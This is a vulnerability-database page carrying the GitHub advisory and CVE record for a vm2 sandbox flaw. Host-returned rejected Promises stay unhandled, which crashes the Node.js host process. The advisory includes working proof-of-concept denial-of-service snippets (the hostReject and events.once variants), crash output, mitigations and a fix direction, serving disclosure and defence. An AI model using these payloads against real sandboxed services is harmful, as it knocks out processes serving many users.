Vulnerability-Lookup

GHSA-GJQ8-XM47-88RC

Vulnerability from github – Published: 2026-10-05 22:45 – Updated: 2026-10-05 22:45

Summary

vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process

Details

Summary

vm2 current head (v3.11.5, commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.

This is an incomplete-fix variant of the GHSA-hw58-p9xv-2mjh unhandled rejection hardening. The localPromise constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach .catch() or .then(..., onRejected), Node's default unhandled rejection behavior terminates the host process.

Technical Details

lib/setup-sandbox.js hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:

apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);

That only applies to localPromise instances created inside the sandbox.

Host-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls .then, .catch, or .finally on a host Promise:

bridge.setHostPromiseSanitizers(e => handleException(from(e)), from);

However, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.

NodeVM provides an in-repository example of this primitive through the special events builtin wrapper. lib/builtin.js passes host EventEmitter.once into the sandbox:

once: EventEmitter.once,

Then lib/events.js re-exports it:

if (host.once) module.exports.once = host.once;

Calling events.once(ee, 'message') and then emitting error on ee returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.

Impact

An attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a NodeVM permits the events builtin.

For web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.

Affected Package/Versions

Confirmed affected on Node.js v25.8.0:

v3.10.0
v3.10.1
v3.10.2
v3.10.3
v3.10.4
v3.10.5
v3.11.0
v3.11.1
v3.11.2
v3.11.3
v3.11.4
v3.11.5 / current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92

The final PoV was also reproduced on current head with Node.js v16.20.2, v18.20.8, v20.20.2, v22.22.3, v24.16.0, and v25.9.0 using npx node@<major>. The local workstation default Node.js v25.8.0 also reproduces.

Configuration Required

The general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:

const vm = new VM({
  sandbox: {
    hostReject: () => Promise.reject(new Error('host-boom')),
  },
});

The NodeVM variant requires events in the builtin allowlist:

new NodeVM({ require: { external: false, builtin: ['events'] } });

events.once() is exposed by vm2's special events builtin wrapper. Node's official API documents events.once() as returning a Promise that rejects when the watched emitter emits error while waiting for another event.

Controls

If sandbox code attaches .catch(() => {}) to the returned host Promise, the process survives.
If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the GHSA-hw58 localPromise hardening is active.
If sandbox code attaches .catch(() => {}) to the events.once() Promise, the NodeVM process survives.
If NodeVM does not allow the events builtin, the events.once() variant does not run and the process survives.

Disclosure Policy Fit

vm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported 3.x line.

Local Proof of Concept

Run from the oss-zero-day-harness directory:

node submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js

The crash-safe PoV executes each case in a child process. A vulnerable result has status: 1 for the positive cases and status: 0 for controls.

Minimal VM positive case:

const { VM } = require('vm2');

const vm = new VM({
  sandbox: {
    hostReject: () => Promise.reject(new Error('host-boom')),
  },
});

vm.run('hostReject(); 1');
setTimeout(() => console.log('survived'), 150);

Observed on current head:

Error: host-boom
    at hostReject (...)

The process exits before printing survived.

Minimal NodeVM builtin variant:

const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: false, builtin: ['events'] },
});

vm.run(`
  const events = require('events');
  const ee = new events.EventEmitter();
  events.once(ee, 'message');
  ee.emit('error', new Error('event-boom'));
  module.exports = 'returned';
`, 'events-pov.js');

setTimeout(() => console.log('survived'), 150);

Observed on current head:

node:internal/process/promises:332
    triggerUncaughtException(err, true /* fromPromise */);
Error: event-boom

The process exits with status 1.

Mitigation

Applications can reduce exposure by installing a process-level unhandledRejection handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node's default --unhandled-rejections=throw behavior raises the rejection as an uncaught exception and exits the process.

Suggested Fix Direction

When a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own .catch() / .then(..., onRejected).

Regression tests should cover:

VM with hostReject: () => Promise.reject(new Error(...)); calling hostReject() without .catch() must not terminate the process.
The same call with a sandbox .catch() must still deliver a sanitized rejection to the sandbox callback.
NodeVM with require.builtin: ['events']; calling events.once(ee, 'message') and then emitting error without .catch() must not terminate the process.
The same events.once() call with a sandbox .catch() must continue to deliver a sanitized rejection to the sandbox callback.
Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.

Why This Is Not Intended Behavior

vm2 already treats this failure mode as security-relevant. GHSA-hw58-p9xv-2mjh was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current setup-sandbox.js explicitly states that the local Promise swallow tail exists so the host's unhandledRejection event never fires.

This report shows the same availability boundary failure still exists for host-returned Promises:

the sandbox does not need child_process, filesystem, network, nesting, or dangerous builtins;
the VM variant needs only a common embedder pattern: exposing an async host helper to untrusted code;
the NodeVM variant needs only the documented events builtin allowlist;
a single sandbox call terminates the whole host process serving all users.

This is distinct from the documented caveat that timeout cannot stop CPU loops. It is also distinct from the README's current async-function / await using caveat: this report does not require sandbox async syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2's own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.

This is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:45:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nvm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.\n\nThis is an incomplete-fix variant of the `GHSA-hw58-p9xv-2mjh` unhandled rejection hardening. The `localPromise` constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach `.catch()` or `.then(..., onRejected)`, Node\u0027s default unhandled rejection behavior terminates the host process.\n\n## Technical Details\n\n`lib/setup-sandbox.js` hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:\n\n```js\napply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n```\n\nThat only applies to `localPromise` instances created inside the sandbox.\n\nHost-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls `.then`, `.catch`, or `.finally` on a host Promise:\n\n```js\nbridge.setHostPromiseSanitizers(e =\u003e handleException(from(e)), from);\n```\n\nHowever, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.\n\n`NodeVM` provides an in-repository example of this primitive through the special `events` builtin wrapper. `lib/builtin.js` passes host `EventEmitter.once` into the sandbox:\n\n```js\nonce: EventEmitter.once,\n```\n\nThen `lib/events.js` re-exports it:\n\n```js\nif (host.once) module.exports.once = host.once;\n```\n\nCalling `events.once(ee, \u0027message\u0027)` and then emitting `error` on `ee` returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.\n\n## Impact\n\nAn attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a `NodeVM` permits the `events` builtin.\n\nFor web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.\n\n## Affected Package/Versions\n\nConfirmed affected on Node.js `v25.8.0`:\n\n- `v3.10.0`\n- `v3.10.1`\n- `v3.10.2`\n- `v3.10.3`\n- `v3.10.4`\n- `v3.10.5`\n- `v3.11.0`\n- `v3.11.1`\n- `v3.11.2`\n- `v3.11.3`\n- `v3.11.4`\n- `v3.11.5` / current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n\nThe final PoV was also reproduced on current head with Node.js `v16.20.2`, `v18.20.8`, `v20.20.2`, `v22.22.3`, `v24.16.0`, and `v25.9.0` using `npx node@\u003cmajor\u003e`. The local workstation default Node.js `v25.8.0` also reproduces.\n\n\n## Configuration Required\n\nThe general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:\n\n```js\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error(\u0027host-boom\u0027)),\n  },\n});\n```\n\nThe NodeVM variant requires `events` in the builtin allowlist:\n\n```js\nnew NodeVM({ require: { external: false, builtin: [\u0027events\u0027] } });\n```\n\n`events.once()` is exposed by vm2\u0027s special `events` builtin wrapper. Node\u0027s official API documents `events.once()` as returning a Promise that rejects when the watched emitter emits `error` while waiting for another event.\n\n## Controls\n\n- If sandbox code attaches `.catch(() =\u003e {})` to the returned host Promise, the process survives.\n- If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the `GHSA-hw58` localPromise hardening is active.\n- If sandbox code attaches `.catch(() =\u003e {})` to the `events.once()` Promise, the `NodeVM` process survives.\n- If `NodeVM` does not allow the `events` builtin, the `events.once()` variant does not run and the process survives.\n\n## Disclosure Policy Fit\n\nvm2\u0027s security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported `3.x` line.\n\n## Local Proof of Concept\n\nRun from the `oss-zero-day-harness` directory:\n\n```fish\nnode submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js\n```\n\nThe crash-safe PoV executes each case in a child process. A vulnerable result has `status: 1` for the positive cases and `status: 0` for controls.\n\nMinimal VM positive case:\n\n```js\nconst { VM } = require(\u0027vm2\u0027);\n\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error(\u0027host-boom\u0027)),\n  },\n});\n\nvm.run(\u0027hostReject(); 1\u0027);\nsetTimeout(() =\u003e console.log(\u0027survived\u0027), 150);\n```\n\nObserved on current head:\n\n```text\nError: host-boom\n    at hostReject (...)\n```\n\nThe process exits before printing `survived`.\n\nMinimal NodeVM builtin variant:\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: false, builtin: [\u0027events\u0027] },\n});\n\nvm.run(`\n  const events = require(\u0027events\u0027);\n  const ee = new events.EventEmitter();\n  events.once(ee, \u0027message\u0027);\n  ee.emit(\u0027error\u0027, new Error(\u0027event-boom\u0027));\n  module.exports = \u0027returned\u0027;\n`, \u0027events-pov.js\u0027);\n\nsetTimeout(() =\u003e console.log(\u0027survived\u0027), 150);\n```\n\nObserved on current head:\n\n```text\nnode:internal/process/promises:332\n    triggerUncaughtException(err, true /* fromPromise */);\nError: event-boom\n```\n\nThe process exits with status `1`.\n\n## Mitigation\n\nApplications can reduce exposure by installing a process-level `unhandledRejection` handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node\u0027s default `--unhandled-rejections=throw` behavior raises the rejection as an uncaught exception and exits the process.\n\n## Suggested Fix Direction\n\nWhen a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own `.catch()` / `.then(..., onRejected)`.\n\nRegression tests should cover:\n\n- `VM` with `hostReject: () =\u003e Promise.reject(new Error(...))`; calling `hostReject()` without `.catch()` must not terminate the process.\n- The same call with a sandbox `.catch()` must still deliver a sanitized rejection to the sandbox callback.\n- `NodeVM` with `require.builtin: [\u0027events\u0027]`; calling `events.once(ee, \u0027message\u0027)` and then emitting `error` without `.catch()` must not terminate the process.\n- The same `events.once()` call with a sandbox `.catch()` must continue to deliver a sanitized rejection to the sandbox callback.\n- Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.\n\n## Why This Is Not Intended Behavior\n\nvm2 already treats this failure mode as security-relevant. `GHSA-hw58-p9xv-2mjh` was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current `setup-sandbox.js` explicitly states that the local Promise swallow tail exists so the host\u0027s `unhandledRejection` event never fires.\n\nThis report shows the same availability boundary failure still exists for host-returned Promises:\n\n- the sandbox does not need `child_process`, filesystem, network, `nesting`, or dangerous builtins;\n- the `VM` variant needs only a common embedder pattern: exposing an async host helper to untrusted code;\n- the `NodeVM` variant needs only the documented `events` builtin allowlist;\n- a single sandbox call terminates the whole host process serving all users.\n\nThis is distinct from the documented caveat that `timeout` cannot stop CPU loops. It is also distinct from the README\u0027s current async-function / `await using` caveat: this report does not require sandbox `async` syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2\u0027s own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.\n\nThis is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.",
  "id": "GHSA-gjq8-xm47-88rc",
  "modified": "2026-10-05T22:45:48Z",
  "published": "2026-10-05T22:45:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/5bb37f8b3f0498675a71cfa4df2b408d8ef7d4fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: Host-returned Promise rejection can bypass vm2\u0027s unhandled-rejection hardening and terminate the host process"
}

CVE-2026-92954 (GCVE-0-2026-92954)

Vulnerability from cvelistv5 – Published: 2026-09-17 13:46 – Updated: 2026-09-26 13:30

Title

vm2 3.10.0 through 3.11.7 Denial of Service via Host Promise

Summary

vm2 is a sandbox library for running untrusted JavaScript in Node.js. In versions >= 3.10.0 and <= 3.11.7, Promises returned from the host realm into the sandbox are not marked as handled at the bridge boundary; only Promises created inside the sandbox are wrapped with a rejection-swallowing handler (lib/setup-sandbox.js), and the bridge only installs host-side rejection sanitizers when sandbox code calls .then/.catch/.finally. As a result, code running in the sandbox can invoke a host function that returns a rejected Promise (for example events.once() exposed via the NodeVM events builtin, or any embedder-provided Promise-returning API) and simply ignore the return value, leaving the host Promise unhandled so that Node.js's default unhandled-rejection behavior terminates the host process. This is an incomplete fix of GHSA-hw58-p9xv-2mjh. The issue is fixed in version 3.11.8.

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-21 17:15 UTC

CWE

CWE-248 - Uncaught Exception

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	vendor-advisory
https://www.vulncheck.com/advisories/vm2-3.10.0-t…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: 3.10.0 , < 3.11.8 (semver) Unaffected: 3.11.8 (semver)

Date Public

2026-08-27 00:00

Credits

rexpository

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-92954",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-21T17:15:31.102120Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
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        "providerMetadata": {
          "dateUpdated": "2026-09-21T17:15:56.296Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/vm2",
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "lessThan": "3.11.8",
              "status": "affected",
              "version": "3.10.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.11.8",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "rexpository"
        }
      ],
      "datePublic": "2026-08-27T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "vm2 is a sandbox library for running untrusted JavaScript in Node.js. In versions \u003e= 3.10.0 and \u003c= 3.11.7, Promises returned from the host realm into the sandbox are not marked as handled at the bridge boundary; only Promises created inside the sandbox are wrapped with a rejection-swallowing handler (lib/setup-sandbox.js), and the bridge only installs host-side rejection sanitizers when sandbox code calls .then/.catch/.finally. As a result, code running in the sandbox can invoke a host function that returns a rejected Promise (for example events.once() exposed via the NodeVM events builtin, or any embedder-provided Promise-returning API) and simply ignore the return value, leaving the host Promise unhandled so that Node.js\u0027s default unhandled-rejection behavior terminates the host process. This is an incomplete fix of GHSA-hw58-p9xv-2mjh. The issue is fixed in version 3.11.8."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.2,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-248",
              "description": "Uncaught Exception",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-26T13:30:00.813Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-gjq8-xm47-88rc)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc"
        },
        {
          "name": "VulnCheck Advisory: vm2 3.10.0 through 3.11.5 Denial of Service via Host Promise",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise"
        }
      ],
      "title": "vm2 3.10.0 through 3.11.7 Denial of Service via Host Promise",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-92954",
    "datePublished": "2026-09-17T13:46:12.820Z",
    "dateReserved": "2026-09-17T12:43:31.527Z",
    "dateUpdated": "2026-09-26T13:30:00.813Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-GJQ8-XM47-88RC

Summary

Technical Details

Impact

Affected Package/Versions

Configuration Required

Controls

Disclosure Policy Fit

Local Proof of Concept

Mitigation

Suggested Fix Direction

Why This Is Not Intended Behavior

CVE-2026-92954 (GCVE-0-2026-92954)

Tags

Sightings

Nomenclature

Related by attack behaviour